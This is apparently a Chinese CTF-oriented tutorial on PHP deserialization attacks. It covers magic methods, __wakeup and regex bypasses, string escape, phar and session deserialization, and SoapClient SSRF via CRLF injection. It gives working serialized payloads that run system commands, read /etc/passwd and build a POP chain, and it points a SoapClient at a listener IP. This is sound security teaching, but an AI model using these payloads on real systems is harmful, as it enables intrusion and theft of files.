常见的魔术方法 1 2 3 4 5 6 7 8 9 10 11 __construct (): 在创建对象时候初始化对象,一般用于对变量赋初值。__destruct (): 和构造函数相反,当对象所在函数调用完毕后执行。__call (): 当调用对象中不存在的方法会自动调用该方法。__get (): 获取对象不存在的属性时执行此函数。__set (): 设置对象不存在的属性时执行此函数。__toString (): 当对象被当做一个字符串使用时调用。__sleep (): 序列化对象之前就调用此方法(其返回需要一个数组)__wakeup (): 反序列化恢复对象之前调用该方法__isset (): 在不可访问的属性上调用isset ()或empty ()触发__unset (): 在不可访问的属性上使用unset ()时触发__invoke (): 将对象当作函数来使用时执行此方法
 
__construct & __destruct __construct:在实例化一个对象时,会被自动调用,可以作为非public权限属性的初始化__destruct:和构造函数相反,当对象销毁时会调用此方法,一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class  test  { 	public  $username ; 	public  $password ; 	function  __construct ($username ,$password  ) { 		echo  "__construct\n" ;         $this ->username = $username ;         $this ->password = $password ; 	} 	function  __destruct ( ) { 		echo  "__destruct\n" ; 	} }$a  = new  test ('admin' ,'admin888' );unset ($a );echo  "abc\n" ;echo  "--------------------\n" ;$a  = new  test ('admin' ,'admin888' );echo  "abc\n" ;
 
运行结果
1 2 3 4 5 6 7 __construct __destruct abc -------------------- __construct abc __destruct
 
__sleep & __wakeup __sleep:序列化时自动调用__wakeup:反序列化时自动调用
如果类中同时定义了 __unserialize()和__wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
 
同理,如果类中同时定义了 __serialize()和 __sleep() 两个魔术方法, 则只有 __serialize() 方法会被调用。 __sleep() 方法会被忽略掉。
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class  test  { 	public  $username ; 	public  $password ; 	function  __construct ($username ,$password  ) { 		echo  "__construct\n" ;         $this ->username = $username ;         $this ->password = $password ; 	} 	function  __sleep ( ) { 		echo  "__sleep\n" ; 		return  [username,password];  	} 	function  __wakeup ( ) { 		echo  "__wakeup\n" ; 		$this ->username = 'user' ; 	} }$a  = new  test ('admin' ,'admin888' );$data  = serialize ($a );echo  $data ."\n" ;echo  "-----------------------------\n" ;var_dump (unserialize ($data ));
 
运行结果
1 2 3 4 5 6 7 8 9 10 11 __construct __sleep O:4 :"test" :2 :{s:8 :"username" ;s:5 :"admin" ;s:8 :"password" ;s:8 :"admin888" ;} ----------------------------- __wakeupclass  test #2 (2)  {   public  $username  =>   string (4 ) "user"    public  $password  =>   string (8 ) "admin888"  }
 
__call & __callstatic __call:对象执行类不存在的方法时会自动调用__call方法__callstatic:直接执行类不存在的方法时会自动调用__callstatic方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class  test  { 	public  $username ; 	public  $password ; 	function  __call ($method ,$args  ) { 		echo  '不存在' .$method .'方法(__call)' .'<br>' ; 	} 		function  __callstatic ($method ,$args  ) { 		echo  '不存在' .$method .'方法(__callstatic)' .'<br>' ; 	} }$a  = new  test ();$a ->lewiserii (); test::lewiserii ();
 
运行结果
1 2 不存在lewiserii方法(__call) 不存在lewiserii方法(__callstatic)
 
__get & __set __get:对不可访问属性或不存在属性进行 访问引用时自动调用__set:对不可访问属性或不存在属性进行 写入时自动调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class  test  { 	public  $username ='admin' ; 	private  $password ='admin888' ; 	function  __get ($name  ) { 		echo  "__get\n" ; 	} 	function  __set ($name ,$value  ) { 		echo  "__set\n" ; 	} }$a  = new  test ();$a ->password;$a ->password='123456' ;
 
运行结果
 
__isset & __unset __isset:在不可访问的属性上使用inset()时触发__unset:在不可访问的属性上使用unset()时触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class  test  { 	public  $username ='admin' ; 	private  $password ='admin888' ; 	function  __isset ($name  ) { 		echo  "__isset\n" ; 	} 	function  __unset ($name  ) { 		echo  "__unset\n" ; 	} }$a  = new  test ();isset ($a ->password);unset ($a ->psd);
 
运行结果
 
__tostring __toString():类的实例和字符串拼接或者作为字符串引用时会自动调用
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class  test  { 	public  $username ='admin' ; 	private  $password ='admin888' ; 	function  __tostring ( ) { 		return  "tostring" ; 	} }$a  = new  test ();echo  $a ;
 
运行结果
 
__invoke __invoke():将对象当作函数来使用时调用此方法
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class  test  { 	public  $username ='admin' ; 	private  $password ='admin888' ; 	function  __invoke ( ) { 		echo  "__invoke" ; 	} }$a  = new  test ();$a ();
 
运行结果
 
反序列化绕过的几种方法 绕过__wakeup CVE-2016-7124 
利用条件: PHP5 < 5.6.25 PHP7 < 7.0.10
 
利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class  test  {     public  $a ='test' ;     public  function  __wakeup ( ) {         $this ->a='aaa' ;     }     public  function   __destruct ( ) {         echo  $this ->a;     } }?> 
 
当执行unserialize('O:4:"test":1:{s:1:"a";s:4:"test";}');时会返回aaa,在修改对象属性个数的值,执行unserialize('O:4:"test":2:{s:1:"a";s:4:"test";}');会返回test
利用反序列化字符串报错 利用一个包含__destruct方法的类触发魔术方法可绕过__wakeup方法
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class  D   {     public  function  __get ($name  )  {         echo  "D::__get($name )\n" ;     }     public  function  __destruct ( )  {         echo  "D::__destruct\n" ;     }     public  function  __wakeup ( )  {         echo  "D::__wakeup\n" ;     } }class  C   {     public  function  __destruct ( )  {         echo  "C::__destruct\n" ;         $this ->c->b;     } }unserialize ('O:1:"C":1:{s:1:"c";O:1:"D":0:{};N;}' );
 
原本应该是O:1:"C":1:{s:1:"c";O:1:"D":0:{}} 调用顺序是
1 2 3 4 D::__wakeup  C::__destruct  D::__get (b) D::__destruct 
 
添加了一个;N;(反序列化末尾加上;任意字符;)的错误结构后调用顺序就变成了
1 2 3 4 C::__destruct  D::__get (b) D::__wakeup  D::__destruct 
 
来自Article_kelp师傅的原理解释,orz:
使用C代替O 1 2 3 4 5 6 7 8 9 10 11 12 a - array  b - boolean  d - double  i - integer  o - common object  r - reference s - string  C - custom object  O - class N  - null R  - pointer  reference U  - unicode  string 
 
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class  E    {     public  function  __construct ( ) {     }     public  function  __destruct ( ) {         echo  "destruct" ;     }     public  function  __wakeup ( ) {         echo  "wake up" ;     } }var_dump (unserialize ('C:1:"E":0:{}' ));
 
比较鸡肋,只能执行construct()和destruct()函数,无法添加任何内容
但是在特定的PHP版本 下,可以使用一些内置类来重新包装实现绕过
1 2 3 4 5 6 7 ArrayObject ::unserialize ArrayIterator ::unserialize RecursiveArrayIterator ::unserialize SplDoublyLinkedList ::unserialize SplQueue ::unserialize SplStack ::unserialize SplObjectStorage ::unserialize 
 
例如ctfshow的2023愚人杯[easy_php]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 <?php class  ctfshow   {     public  $ctfshow ;     public  function  __wakeup ( ) {         die ("not allowed!" );     }     public  function  __destruct ( ) {         echo  "OK" ;         system ($this ->ctfshow);     } }$a = new  ctfshow ();$a ->ctfshow= "cat /f1agaaa" ;
 
不过有几个类在使用时要注意需要加入push方法
绕过正则 检测’O’ 
利用条件: preg_match(‘/^O:\d+/i’,$data)
 
例题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php error_reporting (0 );highlight_file (__FILE__ );class  backdoor  {     public  $name ;     public  function  __destruct ( ) {         eval ($this ->name);     } }$data  = $_POST ['data' ];if  (preg_match ('/^O:\d+/i' ,$data )){     die ("object not allow unserialize" ); }
 
利用方式1:当在代码中使用类似preg_match('/^O:\d+/i',$data)的正则语句来匹配是否是对象字符串开头的时候,可以使用+绕过
O:8:"backdoor":1:{s:4:"name";s:18:"system('tac /f*');";}O:+8:"backdoor":1:{s:4:"name";s:18:"system('tac /f*');";}
要注意在url里传参时+要编码为%2B
利用方式2:使用array()绕过
1 2 3 4 5 6 7 8 9 <?php class  backdoor  {     public  $name ="system('tac /f*');" ; }$a  = new  backdoor ();echo  serialize (array ($a ));?> 
 
检测’}’ 有时候会遇到另一种正则,比如/\}$/,会匹配最后一个}
反序列化字符串末尾的}}}}是可以全部删掉的,没有影响
比如a:1:{i:0;O:4:"test":2:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";}}
变成a:1:{i:0;O:4:"test":2:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";
甚至在末尾填充字符a:1:{i:0;O:4:"test":2:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";aaaaaaaaaa
均能正常解析
检测数字 可以用字符i、d绕过
1 2 3 4 5 6 7 8 9 10 11 <?php echo  unserialize ('i:-1;' );echo  "\n" ;echo  unserialize ('i:+1;' );echo  "\n" ;echo  unserialize ('d:-1.1;' );echo  "\n" ;echo  unserialize ('d:+1.2;' );
 
引用绕过 利用方式:当代码中存在类似$this->a===$this->b的比较时可以用&,使$a永远与$b相等
例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class  test  {     public  $a ;     public  $b ;     public  function  __construct ( ) {         $this ->a = 'abc' ;         $this ->b = &$this ->a;     }     public  function   __destruct ( ) {         if ($this ->a===$this ->b){             echo  666 ;         }     } }$a  = serialize (new  test ());?> 
 
$this->b = &$this->a;表示$b变量指向的地址永远指向$a变量指向的地址
16进制绕过 利用方式:当代码中存在关键词检测时,将表示字符类型的s改为大写来绕过检测
例子:
1 2 3 4 5 6 7 8 <?php class  test  {     public  $username ='admin' ;     public  $password ='admin888' ; }echo  serialize (new  test ());?> 
 
如果过滤了关键字admin,可以将其替换成O:4:"test":2:{s:8:"username";S:5:"\61dmin";s:8:"password";S:8:"\61dmin888";}
表示字符类型的s为大写时,就会被当成16进制解析
字符逃逸 1 2 3 4 5 6 7 8 9 10 <?php class  test  { 	public  $a ='aaa' ; 	public  $b ='bbb' ; }$v  = new  test ();echo  serialize ($v );?> 
 
由于php在进行反序列化时,是从左到右读取,读取多少取决于s后面的字符长度,且认为读到}就结束了,}后面的字符不会有影响
一般触发字符逃逸的条件是替换函数str_replace,使字符串长度改变,造成字符逃逸,读取到不一样的数据
过滤后字符变多 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class  test  { 	public  $a ='aaa' ; 	public  $b ='bbb' ; }function  filter ($str  ) {     return  str_replace ("aaa" ,"aaaa" ,$str ); }$v  = new  test ();echo  filter (serialize ($v ));?> 
 
可以发现结果中的aaa被替换成了aaaa,但是长度值没变,还是3,这就导致多出了一个a,而且值是可控的,我们可以将这部分值变为 很多aaa";s:1:"b";s:3:"qaq";}, 很多aaa的具体个数取决于后面想要构造的字符串的长度,这里是21位,就用21组aaa,这样替换后会多出21个字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class  test  { 	public  $a ='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";s:1:"b";s:3:"qaq";}' ; 	public  $b ='bbb' ; }function  filter ($str  ) {     return  str_replace ("aaa" ,"aaaa" ,$str ); }$v  = new  test ();echo  filter (serialize ($v ));?> 
 
$b的值成功被修改成了qaq
过滤后字符变少 原理与过滤后字符变多大同小异,就是前面少了,导致后面的字符被吃掉,从而执行了我们后面的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class  test  { 	public  $a ='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' ; 	public  $b ='";s:1:"b";s:3:"abc";}' ; }function  filter ($str  ) {     return  str_replace ("aaa" ,"aa" ,$str ); }$v  = new  test ();echo  filter (serialize ($v ));?> 
 
主要注意闭合就行了,与sql注入类似
类属性不敏感 对于PHP版本7.1+,对属性的类型不敏感
1 2 3 4 5 6 7 8 9 10 11 <?php class  test   { 	private  $hello ="private" ; 	function  __destruct ( ) { 		var_dump ($this ->hello); 	} }unserialize ('O:4:"test":1:{s:5:"hello";s:6:"public";}' );
 
令public时得到的序列化字符串,在priviate或者protected修饰的时候反序列化,hello属性都能获得值
类名和方法名不区分大小写 1 2 3 4 5 6 7 8 PHP特性: 变量名区分大小写 常量名区分大小写 数组索引 (键名) 区分大小写 函数名, 方法名, 类名不区分大小写 魔术常量不区分大小写 (以双下划线开头和结尾的常量) NULL TRUE FALSE 不区分大小写 强制类型转换不区分大小写 (在变量前面加上 (type))
 
常见用来绕过正则
如ctfshow的一道题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php highlight_file (__FILE__ );include ('flag.php' );$cs  = file_get_contents ('php://input' );class  ctfshow  {     public  $username ='xxxxxx' ;     public  $password ='xxxxxx' ;     public  function  __construct ($u ,$p  ) {         $this ->username=$u ;         $this ->password=$p ;     }     public  function  login ( ) {         return  $this ->username===$this ->password;     }     public  function  __toString ( ) {         return  $this ->username;     }     public  function  __destruct ( ) {         global  $flag ;         echo  $flag ;     } }$ctfshowo =@unserialize ($cs );if (preg_match ('/ctfshow/' , $cs )){     throw  new  Exception ("Error $ctfshowo " ,1 ); }
 
fast destruct 
通常发序列化的入口在__destruct()方法,如果在反序列化操作之后抛出了异常则会跳过__destruct()函数的执行。
 
例如这样一道题目
1 2 3 4 5 6 7 8 9 10 11 12 <?php class  Test  {     public  $args ;     public  function  __destruct ( )     {         system ($this ->args);     } }$a  = @unserialize ($_GET ['args' ]);throw  new  Exception ("NoNoNo" );
 
反序列化操作执行之后并没有立即执行__destruct()方法中的内容,而是抛出了异常导致__destruct()方法被跳过。但是我们可以修改序列化得到的字符串使得反序列化解析出错,导致__destruct()方法被提前执行。
正常情况下的序列化字符串应该是:
O:4:"Test":1:{s:4:"args";s:6:"whoami";}
payload:
1 2 3 4 5  O:4 :"Test" :1 :{s:4 :"args" ;s:6 :"whoami" ; O:4 :"Test" :1 :{s:4 :"args" ;s:6 :"whoami" ;123 a}
 
serialize(unserialize($x)) != $x 正常来说一个合法的反序列化字符串,在反序列化之后再次序列化所得到的结果应是一致的
虽然在例子中没有AAA这个类,但是在反序列化 序列化过后得到的值依然为原来的值
var_dump的结果:
1 2 3 4 5 6 7 8 9 10 11 12 object (AAA)   ["a" ]=>   string (1 ) "1"    ["b" ]=>   string (1 ) "2"  }
 
1 2 3 4 5 6 7 8 9 10 object (__PHP_Incomplete_Class )   ["__PHP_Incomplete_Class_Name" ]=>   string (3 ) "AAA"    ["a" ]=>   string (1 ) "1"    ["b" ]=>   string (1 ) "2"  }
 
var_dump后可以发现以下差异
1 2 3 4 5 1:所属类名称 对象所属类的名称由 AAA 变为了 __PHP__Incomplete_Class 2:__PHP_Incomplete_Class_Name 属性 __PHP_Incomplete_Class 对象中多包含了一个 __PHP_Incomplete_Class_Name 属性
 
所以PHP在遇到不存在的类时,会把不存在的类转换成 __PHP_Incomplete_Class 这种特殊的类,并且将原始的类名存放在 __PHP_Incomplete_Class_Name 这个属性中。而 serialize() 在处理的时候会倒推回来,发现对象是 __PHP_Incomplete_Class 后,会序列化成 __PHP_Incomplete_Class_Name 的值为类名的类,同时将 __PHP_Incomplete_Class_Name 删除(属性个数减一) 
所以可以手动构造一个包含__PHP__Incomplete_Class的序列化字符串,因为是我们手动构造的,所以__PHP_Incomplete_Class_Name值为空,serialize找不到后会跳过,但是属性个数减一的步骤不会跳过,所以构成了serialize(unserialize($x)) != $x
注意:若 __PHP_Incomplete_Class 对象中的属性个数为零,则 __PHP_Incomplete_Class 的序列化结果中的属性个数描述值也将为零
 
phar反序列化 
众所周知,在利用反序列化漏洞的时候,一般是将序列化后的字符串传入unserialize()来利用。但是通过phar可以不依赖unserialize()直接进行反序列化操作
 
Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。在PHP 5.3或更高版本中默认开启
phar结构由4部分组成
一:stub 
stub的基本结构:xxx<?php xxx;__HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。类似于Phar的文件头
二:manifest 
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这里就是漏洞利用的关键点
三:contents 
被压缩文件的内容
四:signature 
签名,放在文件末尾
签证尾部的01代表md5加密,02代表sha1加密,04代表sha256加密,08代表sha512加密
一个最基本的例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class  Test   { }$a  = new  Test ();$phar  = new  Phar ("test.phar" );   $phar ->startBuffering ();  $phar ->setStub ("<?php __HALT_COMPILER(); ?>" );   $phar ->setMetadata ($a );  $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering (); ?> 
 
php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化 受影响的函数如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 fileatime filectime file_exists file_get_contents file_put_contents file filegroup fopen fileinode filemtime fileowner fileperms is_dir is_executable is_file is_link is_readable is_writable is_writeable parse_ini_file copy unlink stat readfile
 
当我们修改文件的内容时,签名就会变得无效,这个时候需要重新计算签名
1 2 3 4 5 6 7 8 from  hashlib import  sha1with  open ('test.phar' , 'rb' ) as  file:     f = file.read() s = f[:-28 ]  h = f[-8 :]  newf = s + sha1(s).digest() + h with  open ('newtest.phar' , 'wb' ) as  file:     file.write(newf) 
 
phar绕过上传限制 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class  Test   { }$a  = new  Test ();$phar  = new  Phar ("test.phar" );$phar ->startBuffering ();$phar ->setStub ("GIF89a" ."<?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata ($a );$phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();?> 
 
绕过头部phar:// 如果题目限制了phar://不能出现在头几个字符,可以用Bzip/Gzip协议绕过
例如
1 2 3 if  (preg_match ("/^php|^file|^phar|^dict|^zip/i" ,$filename ){     die (); }
 
1 2 3 4 5 6 7 8 php: compress.bzip2: compress.zlib:
 
绕过__HALT_COMPILER检测 在前面介绍stub时提到过,PHP通过__HALT_COMPILER来识别Phar文件,那么为了防止Phar反序列化的出现,可能就会对这个进行过滤
例如
1 2 3 if  (preg_match ("/HALT_COMPILER/i" ,$Phar ){     die (); }
 
绕过方法一: 
将Phar文件的内容写到压缩包注释中,压缩为zip文件
1 2 3 4 5 6 7 8 <?php $a  = serialize ($a );$zip  = new  ZipArchive ();$res  = $zip ->open ('phar.zip' ,ZipArchive ::CREATE );$zip ->addFromString ('flag.txt' , 'flag is here' );$zip ->setArchiveComment ($a );$zip ->close ();?> 
 
绕过方法二: 
将生成的Phar文件进行gzip压缩,压缩后同样也可以进行反序列化
 
session反序列化 什么是session这里就不描述了,网上有很多文章可以参考
先了解下PHP session不同引擎的存储机制
PHP session的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid来决定文件名的
session.serialize_handler定义的引擎共有三种:
处理器名称 
存储格式 
 
 
php 
键名 + 竖线 + 经过serialize()函数序列化处理的值 
 
php_binary 
键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值 
 
php_serialize 
经过serialize()函数序列化处理的数组 
 
当php和php_serialize这两个处理区混合起来使用,就会出现session反序列化漏洞。原因是php_serialize存储的反序列化字符可以引用|,如果这时候使用php处理器的格式取出$_SESSION的值,|会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞
$_SESSION变量可控 例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php error_reporting (0 );ini_set ('session.serialize_handler' ,'php_serialize' );session_start ();$_SESSION ['session' ] = $_GET ['session' ];var_dump ($_SESSION );<?php error_reporting (0 );ini_set ('session.serialize_handler' ,'php' );session_start ();class  test  { 	public  $name ; 	function  __wakeup ( ) { 		echo  $this ->name; 	} }
 
先在1.php传入?session=lewiserii
session的内容,因为1.php页面用的是php_serialize引擎,所以是序列化处理的数组的形式
而2.php用的是php引擎,在可控点传入|+序列化字符串,然后再次访问2.php调用session值的时候会触发
传入?session=|O:4:"test":1:{s:4:"name";s:9:"lewiserii";}后,文件中的值就变成了下图中的值
再次访问2.php,发现成功反序列化,修改了$name
总结:由于1.php是使用php_serialize引擎处理,因此只会把’|’当做一个正常的字符。然后访问2.php,由于用的是php引擎,因此遇到’|’时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对’|’后的值进行反序列化处理。
 
$_SESSION变量不可控 当$_SESSION不能直接控制时,可以借助PHP_SESSION_UPLOAD_PROGRESS来完成反序列化
关于PHP_SESSION_UPLOAD_PROGRESS的介绍可以参考我的另一篇文章session.upload_progress文件包含 
这里用ctfshow的一道新春题的前半部分作例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php include ("class.php" );error_reporting (0 );highlight_file (__FILE__ );ini_set ("session.serialize_handler" , "php" );session_start ();if  (isset ($_GET ['phpinfo' ])) {     phpinfo (); }if  (isset ($_GET ['source' ])) {     highlight_file ("class.php" ); }$happy =new  Happy ();$happy ();?> 
 
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 <?php      class  Happy   {         public  $happy ;         function  __construct ( ) {                 $this ->happy="Happy_New_Year!!!" ;         }         function  __destruct ( ) {                 $this ->happy->happy;         }         public  function  __call ($funName , $arguments  ) {                 die ($this ->happy->$funName );         }         public  function  __set ($key ,$value  )         {             $this ->happy->$key  = $value ;         }         public  function  __invoke ( )         {             echo  $this ->happy;         }     }     class  _New_  {         public  $daniu ;         public  $robot ;         public  $notrobot ;         private  $_New_ ;         function  __construct ( ) {                 $this ->daniu="I'm daniu." ;                 $this ->robot="I'm robot." ;                 $this ->notrobot="I'm not a robot." ;         }         public  function  __call ($funName , $arguments  ) {                 echo  $this ->daniu.$funName ."not exists!!!" ;         }         public  function  __invoke ( )         {             echo  $this ->daniu;             $this ->daniu=$this ->robot;             echo  $this ->daniu;         }         public  function  __toString ( )         {             $robot =$this ->robot;             $this ->daniu->$robot =$this ->notrobot;             return  (string )$this ->daniu;         }         public  function  __get ($key  ) {                echo  $this ->daniu.$key ."not exists!!!" ;         }  }     class  Year  {         public  $zodiac ;          public  function  __invoke ( )         {             echo  "happy " .$this ->zodiac." year!" ;         }          function  __construct ( ) {                 $this ->zodiac="Hu" ;         }         public  function  __toString ( )         {                 $this ->show ();         }         public  function  __set ($key ,$value  )#3         {             $this ->$key  = $value ;         }         public  function  show ( ) {             die (file_get_contents ($this ->zodiac));         }         public  function  __wakeup ( )         {             $this ->zodiac = 'hu' ;         }     }?> 
 
先构造pop链O:5:"Happy":1:{s:5:"happy";O:5:"_New_":3:{s:5:"daniu";O:5:"_New_":3:{s:5:"daniu";O:4:"Year":1:{s:6:"zodiac";N;}s:5:"robot";s:6:"zodiac";s:8:"notrobot";s:5:"/f1ag";}s:5:"robot";N;s:8:"notrobot";N;}}
看下phpinfo中关于session的信息,可以知道当前index.php用的是php引擎,其他页面默认用php_serialize引擎,且session.upload_progress.cleanup=Off,意味着php不会立即清空对应的session文件,就不用进行条件竞争
构造POST表单,提交传入序列化字符串
1 2 3 4 5 <form  action ="http://dece2f58-5f4b-4bd0-904a-ac58efcf9623.challenges.ctfer.com:8080/"  method ="POST"  enctype ="multipart/form-data" >      <input  type ="hidden"  name ="PHP_SESSION_UPLOAD_PROGRESS"  value ="lewiserii"  />      <input  type ="file"  name ="file"  />      <input  type ="submit"  /> </form > 
 
因为要放到filename中的双引号中,所以这里要转义一下双引号,在拼接上|,注意一定要带上PHPSESSID
伪造PHP_SESSION_UPLOAD_PROGRESS的值时,值中一旦出现|,将会导致数据写入session文件失败,所以用filename
 
php原生类反序列化 如果在代码审计中有反序列化点,但在代码中找不到pop链,可以利用php内置类来进行反序列化
原生文件操作类 可遍历目录类: 
1 2 3 DirectoryIterator  类FilesystemIterator  类GlobIterator  类
 
FilesystemIterator 类与 DirectoryIterator 类相同,提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。
GlobIterator 类与前两个类的作用与使用方法相似,但与上面略不同的是其行为类似于glob(),可以通过模式匹配来寻找文件路径。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $dir =new  DirectoryIterator ("/" );echo  $dir ;$dir =new  FilesystemIterator ("/" );echo  $dir ;$dir =new  DirectoryIterator ("glob:///*flag*" );echo  $dir ;$dir =new  FilesystemIterator ("glob:///*flag*" );echo  $dir ;$dir =new  GlobIterator ("/*flag*" );echo  $dir ;
 
可读取文件类 
 
SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等
1 2 3 4 5 6 7 8 9 10 11 12 $context  = new  SplFileObject ('/etc/passwd' );echo  $context ;$context  = new  SplFileObject ('/etc/passwd' );foreach ($context  as  $f ){     echo ($f ); }$context  = new  SplFileObject ('php://filter/convert.base64-encode/resource=/etc/passwd' );echo  $context ;
 
SoapClient反序列化与ssrf 首先需要了解什么是soap soap,是webService三要素(SOAP、WSDL、UDDI)之一
1 2 3 4 5 SOAP: 基于HTTP协议,采用XML格式,用来描述传递信息的格式。 WSDL: 用来描述如何访问具体的服务。(相当于说明书) UDDI: 用户自己可以按UDDI标准搭建UDDI服务器,用来管理,分发,查询WebService 。其他用户可以自己注册发布WebService调用。(现在基本废弃)
 
简单来说就是soap是一种基于http的传输协议,可以发起请求来访问远程服务
php官方手册 中对soapclient的解释如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 class  SoapClient   {private  ?string  $uri  = null ;private  ?int  $style  = null ;private  ?int  $use  = null ;private  ?string  $location  = null ;private  bool  $trace  = false ;private  ?int  $compression  = null ;private  ?resource $sdl  = null ;private  ?resource $typemap  = null ;private  ?resource $httpsocket  = null ;private  ?resource $httpurl  = null ;private  ?string  $_login  = null ;private  ?string  $_password  = null ;private  bool  $_use_digest  = false ;private  ?string  $_digest  = null ;private  ?string  $_proxy_host  = null ;private  ?int  $_proxy_port  = null ;private  ?string  $_proxy_login  = null ;private  ?string  $_proxy_password  = null ;private  bool  $_exceptions  = true ;private  ?string  $_encoding  = null ;private  ?array  $_classmap  = null ;private  ?int  $_features  = null ;private  int  $_connection_timeout ;private  ?resource $_stream_context  = null ;private  ?string  $_user_agent  = null ;private  bool  $_keep_alive  = true ;private  ?int  $_ssl_method  = null ;private  int  $_soap_version ;private  ?int  $_use_proxy  = null ;private  array  $_cookies  = [];private  ?array  $__default_headers  = null ;private  ?SoapFault $__soap_fault  = null ;private  ?string  $__last_request  = null ;private  ?string  $__last_response  = null ;private  ?string  $__last_request_headers  = null ;private  ?string  $__last_response_headers  = null ;public  __construct (?string  $wsdl , array  $options  = [])public  __call (string  $name , array  $args ): mixed public  __doRequest (     string  $request ,     string  $location ,     string  $action ,     int  $version ,     bool  $oneWay  = false  ): ?string public  __getCookies (): array public  __getFunctions (): ?array public  __getLastRequest (): ?string public  __getLastRequestHeaders (): ?string public  __getLastResponse (): ?string public  __getLastResponseHeaders (): ?string public  __getTypes (): ?array public  __setCookie (string  $name , ?string  $value  = null ): void public  __setLocation (?string  $location  = null ): ?string public  __setSoapHeaders (SoapHeader|array |null  $headers  = null ): bool public  __soapCall (     string  $name ,     array  $args ,     ?array  $options  = null ,     SoapHeader|array |null  $inputHeaders  = null ,     array  &$outputHeaders  = null  ): mixed  }
 
先从手册中看soap的构造方法,可以看到有两个参数,第一个参数$wsdl用来指明是否为wsdl模式,第二个参数$options是一个数组。 当在第一个参数中指明了wsdl模式后,第二个参数是可选的,可以没有;当第一个参数设置为非wsdl模式后,第二个参数中必须设置uri和location选项。location就是目标url,uri是soap服务的命令空间
再看__call()方法,当调用类中不存在的方法时就会触发,当触发这个方法后,它就会向location中的目标URL发送一个soap请求
1 2 3 <?php $a  = new  SoapClient (null ,array ('uri' =>'aaa' ,'location' =>'http://20.2.129.79:7777' ));$a ->a ();
 
在vps上监听对应的端口
可以接收到一个post请求,并且SOAPAction的值明显是可控的,那么利用crlf我们就能控制数据包了
比如插入一个cookie
1 2 3 4 5 6 7 8 <?php $a  = new  SoapClient (null ,array ('uri' =>'aaa^^Cookie: test=123^^' ,'location' =>'http://20.2.129.79:7777' ));$b  = serialize ($a );$b  = str_replace ('^^' ,"\r\n" ,$b );$c  = unserialize ($b );$c ->a ();?> 
 
但是对于POST数据包,还存在一个问题,即Content-Type的值,默认是text/xml,我们修改的SOAPAction在Content-Type的下面,无法控制Content-Type,也就不能控制POST的数据
